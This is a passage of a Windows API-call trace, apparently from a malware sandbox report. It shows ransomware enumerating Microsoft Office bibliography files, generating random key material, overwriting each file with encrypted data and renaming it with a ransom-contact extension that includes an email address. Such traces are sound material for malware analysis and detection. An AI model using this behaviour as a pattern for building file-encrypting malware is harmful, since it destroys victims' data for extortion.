ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6360 [0061.981] wcscmp (_String1=".", _String2=".") returned 0 [0061.981] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.981] wcscmp (_String1="..", _String2=".") returned 1 [0061.981] wcscmp (_String1="..", _String2="..") returned 0 [0061.981] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.981] FindClose (in: hFindFile=0x4a6360 | out: hFindFile=0x4a6360) returned 1 [0061.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42d850) returned 1 [0061.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0061.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 Thread: id = 1179 os_tid = 0x410 [0061.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl")) returned 0x20 [0061.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL", dwFileAttributes=0x20) returned 1 [0061.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1288 [0061.984] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0xb3dfc20 | out: lpFileSize=0xb3dfc20*=31013) returned 1 [0061.984] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x7921, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.984] ReadFile (in: hFile=0x1288, lpBuffer=0xb3dfba4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb3dfba0, lpOverlapped=0x0 | out: lpBuffer=0xb3dfba4*, lpNumberOfBytesRead=0xb3dfba0*=0x4, lpOverlapped=0x0) returned 1 [0061.985] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.985] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0061.985] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0061.985] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0061.985] NtQuerySystemTime (in: CurrentTime=0xb3dfb80 | out: CurrentTime=0xb3dfb80*=132174898259712000) returned 0x0 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x4e22fbf8 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x224e7361 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x26a4270b [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x2b7a50ef [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x73007b45 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x565177d9 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x991d07b [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x17c7664c [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x163c67 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x41ab0887 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x6f3b1773 [0061.985] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x7af94f8d [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x1f4898a2 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x6ce72e6 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x59f0100c [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x6f019f7f [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x64de32d7 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x63d5b474 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x3f1bb37a [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x7074ec14 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x496d4070 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x31cd7998 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x70d62f25 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x53face68 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0xaf40b6d [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x75cc01e0 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x3bdbbda4 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x3731c52e [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x179666b9 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x69f754d9 [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x48c093de [0061.986] RtlRandomEx (in: Seed=0xb3dfb8c | out: Seed=0xb3dfb8c) returned 0x2f4dec81 [0061.998] ReadFile (in: hFile=0x1288, lpBuffer=0x972c120, nNumberOfBytesToRead=0x7925, lpNumberOfBytesRead=0xb3dfb7c, lpOverlapped=0x0 | out: lpBuffer=0x972c120*, lpNumberOfBytesRead=0xb3dfb7c*=0x7925, lpOverlapped=0x0) returned 1 [0062.001] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.001] WriteFile (in: hFile=0x1288, lpBuffer=0x194e9058*, nNumberOfBytesToWrite=0x7925, lpNumberOfBytesWritten=0xb3dfb78, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesWritten=0xb3dfb78*=0x7925, lpOverlapped=0x0) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0066.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0066.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0066.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0066.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972c120) returned 1 [0066.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4189b0) returned 1 [0066.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4025b8) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40ac98 [0066.407] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.407] WriteFile (hFile=0x1288, lpBuffer=0x5efe158, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xb3dfbe0, lpOverlapped=0x0) Thread: id = 1180 os_tid = 0x40c [0062.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl")) returned 0x20 [0062.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL", dwFileAttributes=0x20) returned 1 [0062.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x128c [0062.002] GetFileSizeEx (in: hFile=0x128c, lpFileSize=0x11e7f890 | out: lpFileSize=0x11e7f890*=4070) returned 1 [0062.002] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0xfe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.002] ReadFile (in: hFile=0x128c, lpBuffer=0x11e7f814, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11e7f810, lpOverlapped=0x0 | out: lpBuffer=0x11e7f814*, lpNumberOfBytesRead=0x11e7f810*=0x4, lpOverlapped=0x0) returned 1 [0062.003] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0062.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec93b8 [0062.004] NtQuerySystemTime (in: CurrentTime=0x11e7f7f0 | out: CurrentTime=0x11e7f7f0*=132174898259868000) returned 0x0 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x3909a340 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x5cde7a0b [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x51e88578 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x6f88faf4 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x57beb97 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x53b35cec [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x1e802280 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x51ec44c6 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x9f2f6ed [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x4897cd45 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x28c3c118 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x2b55d580 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x27292855 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x2ac88a3a [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x405b58c6 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x10170ff3 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x5a076d44 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x68606c97 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x3180eac7 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0xb1ee42d [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x76067f12 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x52a4050b [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x2e9a50f7 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x185d7c68 [0062.004] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x4509cd3 [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0xf821304 [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x5d15476 [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x5e9f57b7 [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x17480f77 [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x3d5f39f5 [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x7993c1ce [0062.005] RtlRandomEx (in: Seed=0x11e7f7fc | out: Seed=0x11e7f7fc) returned 0x25cef5d0 [0062.017] ReadFile (in: hFile=0x128c, lpBuffer=0x194f5860, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x11e7f7ec, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesRead=0x11e7f7ec*=0xfe6, lpOverlapped=0x0) returned 1 [0062.017] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.017] WriteFile (in: hFile=0x128c, lpBuffer=0x19527880*, nNumberOfBytesToWrite=0xfe6, lpNumberOfBytesWritten=0x11e7f7e8, lpOverlapped=0x0 | out: lpBuffer=0x19527880*, lpNumberOfBytesWritten=0x11e7f7e8*=0xfe6, lpOverlapped=0x0) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0062.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec97a0 [0062.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97a0) returned 1 [0062.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19527880) returned 1 [0062.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0062.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4375f8) returned 1 [0062.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40a790 [0062.479] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.479] WriteFile (in: hFile=0x128c, lpBuffer=0x12d7d9d0*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x11e7f850, lpOverlapped=0x0 | out: lpBuffer=0x12d7d9d0*, lpNumberOfBytesWritten=0x11e7f850*=0x10d, lpOverlapped=0x0) returned 1 [0062.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d9d0) returned 1 [0062.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44afb0) returned 1 [0062.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97a0) returned 1 [0062.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a790) returned 1 [0062.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a30) returned 1 [0062.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9750) returned 1 [0062.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9318) returned 1 [0062.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92f0) returned 1 [0062.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4540 [0062.832] wcscpy (in: _Dest=0x4d4540, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" [0062.832] wcscat (in: _Dest=0x4d4540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.mailto[2Hamlampampom@cock.li].cd46d" [0062.832] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x11e7f808, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de2e8 [0062.913] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de2e8) returned 1 [0062.913] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1f518) returned 1 [0062.913] NtQueryInformationFile (in: FileHandle=0x128c, IoStatusBlock=0x11e7f814, FileInformation=0x11e7f7ec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11e7f814, FileInformation=0x11e7f7ec) returned 0x0 [0062.913] NtSetInformationFile (FileHandle=0x128c, IoStatusBlock=0x11e7f814, FileInformation=0x11e7f7ec, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.934] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4540) returned 1 [0062.934] FlushFileBuffers (hFile=0x128c) returned 1 [0066.195] CloseHandle (hObject=0x128c) Thread: id = 1181 os_tid = 0x130 [0062.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9900 [0062.018] wcscpy (in: _Dest=0x96f9900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0062.018] wcscat (in: _Dest=0x96f9900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0062.018] wcscat (in: _Dest=0x96f9900, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*" [0062.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42d850 [0062.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6360 [0062.018] wcscmp (_String1=".", _String2=".") returned 0 [0062.018] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.018] wcscmp (_String1="..", _String2=".") returned 1 [0062.018] wcscmp (_String1="..", _String2="..") returned 0 [0062.018] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0062.018] wcscmp (_String1="AUTHOR.XSL", _String2=".") returned 1 [0062.018] wcscmp (_String1="AUTHOR.XSL", _String2="..") returned 1 [0062.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97cd990 [0062.019] wcscpy (in: _Dest=0x97cd990, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0062.019] wcscat (in: _Dest=0x97cd990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0062.019] wcscat (in: _Dest=0x97cd990, _Source="AUTHOR.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" [0065.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1654 [0065.998] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0065.998] wcscmp (_String1="TAG.XSL", _String2=".") returned 1 [0065.998] wcscmp (_String1="TAG.XSL", _String2="..") returned 1 [0065.998] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97ab1c0 [0065.998] wcscpy (in: _Dest=0x97ab1c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0065.998] wcscat (in: _Dest=0x97ab1c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0065.998] wcscat (in: _Dest=0x97ab1c0, _Source="TAG.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" [0065.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1790 [0065.999] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0065.999] wcscmp (_String1="TITLE.XSL", _String2=".") returned 1 [0065.999] wcscmp (_String1="TITLE.XSL", _String2="..") returned 1 [0066.000] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ab258 [0066.000] wcscpy (in: _Dest=0x97ab258, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0066.000] wcscat (in: _Dest=0x97ab258, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0066.000] wcscat (in: _Dest=0x97ab258, _Source="TITLE.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" [0066.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1794 [0066.001] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 